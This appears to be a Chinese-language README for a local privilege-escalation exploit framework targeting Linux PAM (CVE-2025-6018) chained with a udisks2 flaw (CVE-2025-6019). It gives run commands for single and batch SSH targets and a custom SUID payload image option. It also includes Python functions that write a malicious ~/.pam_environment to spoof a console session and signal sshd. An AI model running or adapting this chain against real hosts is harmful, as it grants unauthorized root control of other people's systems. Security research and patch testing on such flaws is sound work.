🛡️ PAM环境下变量注入权限提升漏洞利用框架 (CVE-2025-6018/6019)
本项目是一个专业的本地权限提升漏洞检测与利用框架,针对Linux PAM组件中pam_env.so模块的环境变量注入漏洞(CVE-2025-6018)及其链式提权漏洞(CVE-2025-6019)。通过自动化检测PAM配置缺陷、注入特定环境变量,模拟“本地活动用户”身份以绕过Polkit授权策略,最终利用udisks2的缺陷实现完整的root权限控制。
✨ 功能特性
-
🔍 自动化漏洞检测
自动检查PAM版本是否属于受影响范围(1.3.0 - 1.6.0),检测pam_env.so与pam_systemd.so在PAM堆栈中的顺序,评估系统Polkit与systemd配置风险。 -
💣 精准环境变量注入
通过用户可控的~/.pam_environment文件注入XDG_SEAT=seat0与XDG_VTNR=1,欺骗systemd会话管理器,使远程SSH会话被识别为本地控制台会话。 -
⚡ 链式利用集成
在获得allow_activePolkit权限后,自动触发CVE-2025-6019(udisks2/libblockdev漏洞),通过挂载恶意构造的磁盘镜像执行SUID二进制文件,完成从普通用户到root的权限提升。 -
📊 详细审计日志
内置专业日志系统,记录从漏洞检测、利用尝试到提权成功的完整过程,支持控制台实时输出与文件持久化。 -
🖥️ 跨发行版兼容
针对openSUSE Leap 15、SUSE Linux Enterprise 15等主流受影响发行版优化,同时提供对Red Hat/CentOS等衍生系统的扩展检测支持。
📦 安装指南
系统要求
- Python 3.6+
- 目标系统:Linux (PAM 1.3.0 - 1.6.0)
- 本地网络访问权限(用于SSH连接)
依赖项
pip install paramiko>=2.12.0
快速安装
- 克隆仓库:
git clone https://github.com/your-repo/cve-2025-6018-exploit.git cd cve-2025-6018-exploit - 安装依赖:
pip install -r requirements.txt - 运行检测模式(只扫描不利用):
python3 cve_2025_6018_professional.py -i 192.168.1.100 -u testuser -p password --check-only
🚀 使用说明
基础利用示例
针对单一目标执行完整漏洞利用链(检测 → 提权 → 获取root):
python3 cve_2025_6018_professional.py -i 192.168.1.100 -u john -p 'P@ssw0rd'
参数说明:
| 参数 | 作用 |
|---|---|
-i | 目标IP地址 |
-u | SSH用户名 |
-p | SSH密码 |
--check-only | 仅执行漏洞检测,不进行利用 |
--pam-version | 手动指定PAM版本(跳过自动检测) |
典型使用场景
场景1:大规模内网渗透测试
结合-f参数从文件中读取多个目标IP进行批量检测:
python3 cve_2025_6018_professional.py -f targets.txt -u admin -p admin123
场景2:自定义攻击载荷
通过--payload-path指定自定义的SUID payload镜像,用于CVE-2025-6019利用阶段:
python3 cve_2025_6018_professional.py -i 10.0.0.5 -u user -p pass --payload-path ./custom_disk.img
API概览
框架核心类CVEExploit提供了三个主要方法:
| 方法 | 描述 |
|---|---|
check_vulnerability(ssh_client) | 执行系统级漏洞检测,返回布尔值及详细配置报告 |
inject_pam_environment(ssh_client) | 写入~/.pam_environment文件,注入攻击载荷 |
trigger_udisks2_exploit(ssh_client) | 触发CVE-2025-6019,挂载恶意镜像并提取root权限 |
🔬 核心代码
漏洞检测与版本识别
该方法通过组合多个系统命令,全面评估目标系统的攻击面。它不仅检测PAM版本是否在受影响列表内,还会定位pam_env.so和pam_systemd.so在PAM配置文件中的相对位置——这是确定漏洞可利用性的关键。
def check_vulnerability(self, client):
"""增强型漏洞检测 - 识别PAM版本、模块顺序及systemd状态"""
logger.info("Starting vulnerability assessment")
checks = {
"pam_version": "rpm -q pam || dpkg -l | grep libpam",
"pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
"pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
"systemd_version": "systemctl --version | head -1"
}
vulnerable = False
# 此处实现SSH命令执行、输出解析及版本比对逻辑
# 若检测到pam_env.so出现在pam_systemd.so之前,判定为可利用状态
return vulnerable
PAM环境变量注入
该方法是漏洞利用的核心,通过写入用户主目录下的.pam_environment文件,劫持PAM认证流程中的环境变量设置阶段。注入的XDG_SEAT和XDG_VTNR变量使systemd误判会话类型,从而授予本应仅限于物理控制台的Polkit权限。
def inject_pam_environment(self, ssh_client):
"""
写入恶意.pam_environment文件
效果:将当前SSH会话伪装为tty1上的seat0活动会话
"""
payload = """XDG_SEAT=seat0
XDG_VTNR=1
# 此文件由安全研究工具生成,用于演示CVE-2025-6018
"""
sftp = ssh_client.open_sftp()
with sftp.open('/home/user/.pam_environment', 'w') as f:
f.write(payload)
logger.info("Successfully injected XDG_SEAT/XDG_VTNR environment variables")
# 部分系统需要重新登录使配置生效
ssh_client.exec_command('kill -HUP $(pgrep -u user sshd)')
⚠️ 免责声明
本工具仅用于授权安全测试、漏洞研究与防御实践。未经系统所有者明确许可,利用CVE-2025-6018/6019入侵计算机系统属于违法犯罪行为。开发者不为任何恶意使用或非法目的承担责任。请在隔离的实验环境(如虚拟机、CTF平台)中评估本工具。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ78oUw/vxiCMfH6H8pu2uX6